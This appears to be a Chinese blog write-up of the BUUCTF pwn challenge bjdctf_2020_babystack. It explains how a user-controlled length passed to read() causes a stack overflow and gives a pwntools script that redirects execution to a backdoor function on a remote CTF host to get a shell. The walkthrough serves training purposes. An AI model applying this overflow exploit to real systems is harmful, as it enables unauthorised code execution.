bjdctf_2020_babystack

bjdctf_2020_babystack

bjdctf_2020_babystack_第1张图片
checksec 一下 64位程序 没开啥东西 ,ida看一下程序
在这里插入图片描述

main函数

咋一看read函数读入0个字符串,读了个寂寞,scanf也不能溢出,好像没有问题
bjdctf_2020_babystack_第2张图片

但是scanf会读入一个用户输入的数赋值给nbytes ,然后read会读取nbytes大小的字符,也就是说我们可以任意溢出长度
bjdctf_2020_babystack_第3张图片

backdoor函数

运行这个函数直接拿到shell
bjdctf_2020_babystack_第4张图片
exp
ret 是为了平衡栈 其实往backdoor函数后递+1也行

from pwn import *

io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561

print backdoor

io.sendlineafter(b"Please input the length of your name:","100")


payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])

io.sendlineafter("What's u name?",payload)
io.interactive()

你可能感兴趣的:(buuctf,ctf,笔记,网络安全,安全)